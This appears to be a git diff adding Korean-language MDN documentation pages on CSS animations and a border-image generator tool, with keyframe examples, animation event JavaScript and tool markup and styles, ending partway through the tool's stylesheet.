CSS로 생성한 콘텐츠는 DOM이 포함하지 않고, 접근성 트리에도 들어가지 않습니다. 따라서 특정 접근성 기술/브라우저 조합이 내용을 표현하지 않을 수 있습니다. 콘텐츠가 포함한 정보가 페이지의 목적을 이해하는 것에 중요하다면 주 문서로 포함하는 것이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Content", "#content-property", "content")}}{{Spec2("CSS3 Content")}}
{{SpecName("CSS2.1", "generate.html#content", "content")}}{{Spec2("CSS2.1")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.content")}}

+ +

같이 보기

+ +
    +
  • {{Cssxref("::after")}}
  • +
  • {{Cssxref("::before")}}
  • +
  • {{Cssxref("::marker")}}
  • +
  • {{Cssxref("quotes")}}
  • +
  • {{cssxref("url()")}} 함수
  • +
diff --git a/files/ko/web/css/css_animated_properties/index.html b/files/ko/web/css/css_animated_properties/index.html new file mode 100644 index 0000000000..4f492a157d --- /dev/null +++ b/files/ko/web/css/css_animated_properties/index.html @@ -0,0 +1,14 @@ +--- +title: CSS animated properties +slug: Web/CSS/CSS_animated_properties +tags: + - CSS +translation_of: Web/CSS/CSS_animated_properties +--- +

{{CSSRef}}

+ +

일부 CSS 속성은 애니메이션될 수 있습니다, 즉 그 값을 바꿀 때 CSS animation 또는 CSS transition이 사용된 경우 부드러운 방식으로 바꿀 수 있습니다.

+ +

다음은 애니메이션 가능한 속성 목록입니다:

+ +

{{CSSAnimatedProperties}}

diff --git a/files/ko/web/css/css_animations/index.html b/files/ko/web/css/css_animations/index.html new file mode 100644 index 0000000000..5740301594 --- /dev/null +++ b/files/ko/web/css/css_animations/index.html @@ -0,0 +1,87 @@ +--- +title: CSS Animations +slug: Web/CSS/CSS_Animations +tags: + - CSS + - CSS Animations + - Overview + - Reference +translation_of: Web/CSS/CSS_Animations +--- +
{{CSSRef}}
+ +

CSS Animations is a module of CSS that lets you animate the values of CSS properties over time, using keyframes. The behavior of these keyframe animations can be controlled by specifying their timing function, duration, their number of repetitions, and other attributes.

+ +

Reference

+ +

CSS Properties

+ +
+
    +
  • {{cssxref("animation")}}
  • +
  • {{cssxref("animation-delay")}}
  • +
  • {{cssxref("animation-direction")}}
  • +
  • {{cssxref("animation-duration")}}
  • +
  • {{cssxref("animation-fill-mode")}}
  • +
  • {{cssxref("animation-iteration-count")}}
  • +
  • {{cssxref("animation-name")}}
  • +
  • {{cssxref("animation-play-state")}}
  • +
  • {{cssxref("animation-timing-function")}}
  • +
+
+ +

CSS At-rules

+ +
+
    +
  • {{cssxref("@keyframes")}}
  • +
+
+ +

Guides

+ +
+
Detecting CSS animation support
+
Describes a technique for detecting if a browser supports CSS animations.
+
Using CSS animations
+
Step-by-step tutorial about how to create animations using CSS. This article describes each relevant CSS property and at-rule and explains how they interact with each other.
+
CSS animations tips and tricks
+
Tips and tricks to help you get the most out of CSS animations. Currently offers a technique for replaying an animation which has already run through to completion, which the API doesn't support inherently.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

Browser compatibility

+ +
+

animation property

+ +
+ + +

{{Compat("css.properties.animation")}}

+
+
+ +

See also

+ +
    +
  • Related to CSS Animations, CSS Transitions can trigger animations based on user actions.
  • +
diff --git a/files/ko/web/css/css_animations/using_css_animations/index.html b/files/ko/web/css/css_animations/using_css_animations/index.html new file mode 100644 index 0000000000..416e3fc515 --- /dev/null +++ b/files/ko/web/css/css_animations/using_css_animations/index.html @@ -0,0 +1,330 @@ +--- +title: CSS 애니메이션 사용하기 +slug: Web/CSS/CSS_Animations/Using_CSS_animations +tags: + - Advanced + - CSS + - CSS Animations + - Example + - Experimental + - Guide +translation_of: Web/CSS/CSS_Animations/Using_CSS_animations +--- +

{{SeeCompatTable}}{{CSSRef}}

+ +

CSS3 애니메이션은 엘리먼트에 적용되는 CSS 스타일을 다른 CSS 스타일로 부드럽게 전환시켜 줍니다. 애니메이션은 애니메이션을 나타내는 CSS 스타일과 애니메이션의 중간 상태를 나타내는 키프레임들로 이루어집니다.

+ +

CSS 애니메이션은 기존에 사용되던 스크립트를 이용한 애니메이션 보다 다음 세 가지 이유에서 이점을 가집니다.

+ +
    +
  1. 자바스크립트를 모르더라도 간단하게 애니메이션을 만들 수 있습니다.
  2. +
  3. 자바스크립트를 이용한 애니메이션은 잘 만들어졌더라도 성능이 좋지 못할때가 있습니다. CSS 애니메이션은 frame-skipping 같은 여러 기술을 이용하여 최대한 부드럽게 렌더링됩니다.
  4. +
  5. 브라우저는 애니메이션의 성능을 효율적으로 최적화할 수 있습니다. 예를 들어 현재 안보이는 엘리먼트에 대한 애니메이션은 업데이트 주기를 줄여 부하를 최소화할 수 있습니다.
  6. +
+ +

애니메이션 적용하기

+ +

CSS 애니메이션을 만드려면 {{ cssxref("animation") }} 속성과 이 속성의 하위 속성을 지정합니다. 애니메이션의 총 시간과 반복 여부등을 지정할 수 있습니다. 이 속성은 애니메이션의 중간상태를 기술하지 않는다는걸 명심하세요. 애니메이션의 중간 상태는 아래에서 다룰 {{ cssxref("@keyframes") }}  규칙을 이용하여 기술합니다. 

+ +

{{ cssxref("animation") }} 속성의 하위 속성은 다음과 같습니다.

+ +
+
{{ cssxref("animation-delay") }}
+
엘리먼트가 로드되고 나서 언제 애니메이션이 시작될지 지정합니다.
+
{{ cssxref("animation-direction") }}
+
애니메이션이 종료되고 다시 처음부터 시작할지 역방향으로 진행할지 지정합니다.
+
{{ cssxref("animation-duration") }}
+
한 싸이클의 애니메이션이 얼마에 걸쳐 일어날지 지정합니다.
+
{{ cssxref("animation-iteration-count") }}
+
애니메이션이 몇 번 반복될지 지정합니다. infinite로 지정하여 무한히 반복할 수 있습니다.
+
{{ cssxref("animation-name") }}
+
이 애니메이션의 중간 상태를 지정합니다. 중간 상태는  {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다.
+
{{ cssxref("animation-play-state") }}
+
애니메이션을 멈추거나 다시 시작할 수 있습니다.
+
{{ cssxref("animation-timing-function") }}
+
중간 상태들의 전환을 어떤 시간간격으로 진행할지 지정합니다.
+
{{ cssxref("animation-fill-mode") }}
+
애니메이션이 시작되기 전이나 끝나고 난 후 어떤 값이 적용될지 지정합니다.
+
+ +

키프레임을 이용하여 애니메이션의 중간상태 기술하기

+ +

애니메이션의 중간 상태를 기술해 봅시다. {{ cssxref("@keyframes") }} 규칙을 이용해서 두개 이상의 중간 상태를 기술합니다. 각 중간 상태는 특정 시점에 엘리먼트가 어떻게 보일지 나타냅니다. 

+ +

CSS 스타일을 이용해 중간 상태에 어떻게 보일지 정의했다면 이 중간 상태가 전체 애니메이션에서 언제 등장할 지 {{ cssxref("percentage") }} 를 이용해 지정합니다. 0%는 애니메이션이 시작된 시점을 의미하고 100%는 애니메이션이 끝나는 시점을 의미합니다. 최소한 이 두 시점은 기술되어야 브라우저가 언제 애니메이션이 시작되고 끝나는지 알 수 있습니다. 0%와 100% 대신 from 과 to로 사용할 수도 있습니다.

+ +

시작 시점과 종료 시점 사이의 특정 시점에도 중간 상태를 지정할 수 있습니다.

+ +

예제

+ +
노트: 다음 예제들은 애니메이션 CSS 속성에 접두어가 사용되지 않았습니다(역자: -webkit-, -moz- 등). 오래된 브라우저는 접두어가 필요합니다. 
+ +

텍스트가 브라우저를 가로질러 움직이게 하기

+ +

다음 단순한 예제에서 {{ HTMLElement("p") }} 엘리먼트가 브라우저 윈도우 오른쪽에서 왼쪽으로 가로질러 움직이는걸 볼 수 있습니다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+
+ +

{{ HTMLElement("p") }} 엘리먼트에 지정한 CSS 규칙에서 {{ cssxref("animation-duration") }} 속성을 통해 애니메이션의 총 길이는 3초로 지정했습니다. 또 애니메이션의 중간 상태들을 {{ cssxref("@keyframes") }} 규칙을 사용하여 기술하고 이것들에게 slidein라는 이름을 붙였습니다.  그리고 p 엘리먼트에 slidein이라는 애니메이션을 지정했습니다.

+ +

CSS 애니메이션을 지원하지 않는 브라우저를 위하여 {{ HTMLElement("p") }} 에 특정 스타일을 지정하고 싶다면 그러셔도 됩니다. 여기서도 그렇게 할 수 있으나 이 예제에서는 애니메이션 효과만을 보기위해 지정하지 않았습니다. 

+ +

애니메이션의 중간 상태는 {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다. 이 경우에서는 두개의 중간 상태를 기술했습니다. 첫 번째 중간 상태는 애니메이션이 시작되고 나서 0% 시점에 (from키워드를 사용해도 됩니다) 왼쪽 마진을 100%로 지정하는 것입니다. 왼쪽 마진을 100%로 지정했으므로 애니메이션이 시작된 시점에 브라우저 윈도우 오른쪽 모서리에 엘리먼트가 그려집니다.

+ +

두번째 중간 상태는 애니메이션이 시작되고나서 100% (to키워드를 사용해도 됩니다)시점에 왼쪽 마진을 0%으로 지정하는 것입니다. 따라서 애니메이션 마지막에는 엘리먼트가 브라우저 윈도우의 왼쪽 모서리에 그려집니다.

+ + +
<p>The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.</p>
+
+ +

{{EmbedLiveSample("텍스트가_브라우저를_가로질러_움직이게_하기","100%","250")}}

+ +

중간 상태 추가하기

+ +

이전 예제의 애니메이션에서 중간 상태를 추가해 봅시다. 왼쪽에서 오른쪽으로 엘리먼트가 움직일 때 글자 크기가 커지다가 다시 원래대로 줄어들게 해봅시다. 다음과 같은 중간 상태를 추가하면 됩니다.

+ +
75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+
+ + + + +

애니메이션의 75% 시점에서 엘리먼트의 왼쪽 마진을 25%, 너비를 150%, 글자 크기를 300%로 지정하라는 의미입니다.

+ +

{{EmbedLiveSample("중간_상태_추가하기","100%","250")}}

+ +

애니메이션 반복하기

+ +

애니메이션을 반복하고 싶다면 {{ cssxref("animation-iteration-count") }} 속성을 사용하면 됩니다. 이 속성으로 애니메이션이 몇 번 반복될지 지정할 수 있습니다. 이 예제에서는 infinite 라는 값을 지정하여 무한히 반복되게 해 봅시다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+ + + + + +

{{EmbedLiveSample("애니메이션_반복하기","100%","250")}}

+ +

앞뒤로 움직이기

+ +

앞에서 애니메이션이 반복되는걸 보셨을 겁니다. 그런데 애니메이션이 끝나고 갑자기 오른쪽 모서리로 돌아가는게 어색합니다. 애니메이션이 끝났을 때 반대방향으로 이동하도록 만들어 봅시다. {{ cssxref("animation-direction") }} 속성을 alternate로 지정하면 됩니다.

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+
+ + + + + +

{{EmbedLiveSample("앞뒤로_움직이기","100%","250")}}

+ +

애니메이션 이벤트 사용하기

+ +

애니메이션 이벤트를 이용하여 애니메이션을 조종할 수 있습니다. {{ domxref("event/AnimationEvent", "AnimationEvent") }} 로 나타내어지는 애니메이션 이벤트를 사용하여 애니메이션의 시작, 끝, 새로운 반복의 시작등을 감지할 수 있습니다. 이벤트가 발생할 때마다 이벤트의 종류와 어떤 애니메이션에서 발생한 것인지 알 수도 있습니다.

+ +

위의 움직이는 글자 예제를 수정하여 애니메이션 이벤트를 어떻게 사용하는지 알아봅시다. 

+ +
.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+

애니메이션 이벤트 리스너 추가하기

+ +

자바스크립트 코드를 사용하여 위에서 언급한 세개의 이벤트를 감지해 봅시다. setup() 함수는 애니메이션 이벤트 리스너를 추가하는 함수입니다. 문서가 로드되었을 때 이 함수를 실행할 것입니다.

+ +
function setup() {
+  var e = document.getElementById("watchme");
+  e.addEventListener("animationstart", listener, false);
+  e.addEventListener("animationend", listener, false);
+  e.addEventListener("animationiteration", listener, false);
+
+  var e = document.getElementById("watchme");
+  e.className = "slidein";
+}
+
+ +

어떻게 동작하는지 더 자세히 알고싶으면 {{ domxref("element.addEventListener()") }} 문서를 참고하세요. setup() 함수의 마지막 줄에서 엘리먼트의 class 를 "slidein"으로 지정하는 순간 애니메이션이 시작됩니다.

+ +

왜 이렇게 했을까요? 왜냐하면 animationstart 이벤트는 애니메이션이 시작되자마자 발생하므로 우리 코드에서는 이를 감지할 수 없습니다. 애니메이션이 시작될 때는 위의 코드가 실행되기 전이라 이벤트 리스너가 아직 추가되지 않았기 때문이지요. 따라서 이벤트 리스너를 먼저 추가하고 엘리먼트에 class를 지정하여 애니메이션을 시작했습니다.

+ +

이벤트 받기

+ +

각 이벤트가 발생할 때마다 listener() 함수로 넘겨집니다. 이 함수의 코드는 아래와 같습니다.

+ +
function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+
+ +

이 코드 역시 굉장히 단순합니다. {{ domxref("event.type") }} 을 보고 어떤 이벤트가 발생했는지 확인합니다. 그리고 {{ HTMLElement("ul") }} (순서 없는 리스트)에 그 이벤트의 로그를 나타내는 엘리먼트를 추가합니다.

+ +

결과는 다음과 같습니다.

+ +
    +
  • Started: elapsed time is 0
  • +
  • New loop started at time 3.01200008392334
  • +
  • New loop started at time 6.00600004196167
  • +
  • Ended: elapsed time is 9.234000205993652
  • +
+ +

이벤트가 발생한 시각이 위에서 지정한 애니메이션 시간과 굉장히 가깝지만 정확히 같지는 않다는걸 기억하세요. 또 애니메이션의 반복이 끝나는 순간에는  animationiteration 이벤트가 발생하지 않고 animationend 이벤트가 발생했다는걸 기억하세요.

+ +

HTML 코드 

+ +

완벽을 위해 예제에서 사용한 HTML 코드도 첨부합니다. 여기에는 페이지 내용뿐만 아니라 이벤트 로깅을 위한 ul 엘리먼트도 있습니다. 

+ +
<body onload="setup()">
+  <h1 id="watchme">Watch me move</h1>
+  <p>This example shows how to use CSS animations to make <code>h1</code> elements
+  move across the page.</p>
+  <p>In addition, we output some text each time an animation event fires, so you can see them in action.</p>
+  <ul id="output">
+  </ul>
+</body>
+
+ +

{{EmbedLiveSample('애니메이션_이벤트_사용하기', '600', '300')}}

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_background_and_borders/border-image_generator/index.html b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html new file mode 100644 index 0000000000..01ae23c400 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html @@ -0,0 +1,2627 @@ +--- +title: Border-image 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator +tags: + - CSS + - CSS Borders + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator +--- +

이 도구를 사용해 CSS3 {{cssxref("border-image")}} 값을 생성할 수 있습니다.

+ +
+

Border Image Generator

+ +

HTML Content

+ +
    <div id="container">
+
+        <div id="gallery">
+            <div id="image-gallery">
+                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/>
+            </div>
+        </div>
+
+        <div id="load-actions" class="group section">
+            <div id="toggle-gallery" data-action="hide"> </div>
+            <div id="load-image" class="button"> Upload image </div>
+            <input id="remote-url" type="text" placeholder="Load an image from URL"/>
+            <div id="load-remote" class="button"> </div>
+        </div>
+
+        <div id="general-controls" class="group section">
+            <div class="name"> Control Box </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">scale</div>
+                <div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10">
+                </div>
+            </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">draggable</div>
+                <div class="ui-checkbox" data-topic='drag-subject'></div>
+            </div>
+            <div class="property right">
+                <div class="name">section height</div>
+                <div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000">
+                </div>
+            </div>
+        </div>
+
+        <div id="preview_section" class="group section">
+            <div id="subject">
+                <div class="guideline" data-axis="Y" data-topic="slice-top"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-right"></div>
+                <div class="guideline" data-axis="Y" data-topic="slice-bottom"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-left"></div>
+            </div>
+            <div id="preview"> </div>
+        </div>
+
+        <!-- controls -->
+        <div id="controls" class="group section">
+
+            <!-- border-image-slice -->
+            <div id="border-slice-control" class="category">
+                <div class="title"> border-image-slice </div>
+                <div class="property">
+                    <div class="name">fill</div>
+                    <div class="ui-checkbox" data-topic='slice-fill'></div>
+                </div>
+            </div>
+
+            <!-- border-image-width -->
+            <div id="border-width-control" class="category">
+                <div class="title"> border-image-width </div>
+            </div>
+
+            <!-- border-image-outset -->
+            <div id="border-outset-control" class="category">
+                <div class="title"> border-image-outset </div>
+            </div>
+
+            <!-- other-settings -->
+            <div id="aditional-properties" class="category">
+                <div class="title"> aditional-properties </div>
+                <div class="property">
+                    <div class="name"> repeat-x </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2">
+                        <div data-value="0">repeat</div>
+                        <div data-value="0">stretch</div>
+                        <div data-value="0">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="name"> repeat-y </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2">
+                        <div data-value="1">repeat</div>
+                        <div data-value="1">stretch</div>
+                        <div data-value="1">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3">
+                    </div>
+                </div>
+
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3">
+                    </div>
+                </div>
+            </div>
+
+
+            <div id="output" class="category">
+                <div class="title"> CSS Code </div>
+                <div class="css-property">
+                    <span class="name"> border-image-slice: </span>
+                    <span id="out-border-slice" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-width: </span>
+                    <span id="out-border-width" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-outset: </span>
+                    <span id="out-border-outset" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-repeat: </span>
+                    <span id="out-border-repeat" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-source: </span>
+                    <span id="out-border-source" class="value">  </span>
+                </div>
+            </div>
+
+        </div>
+    </div>
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list > div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list > div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover > * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
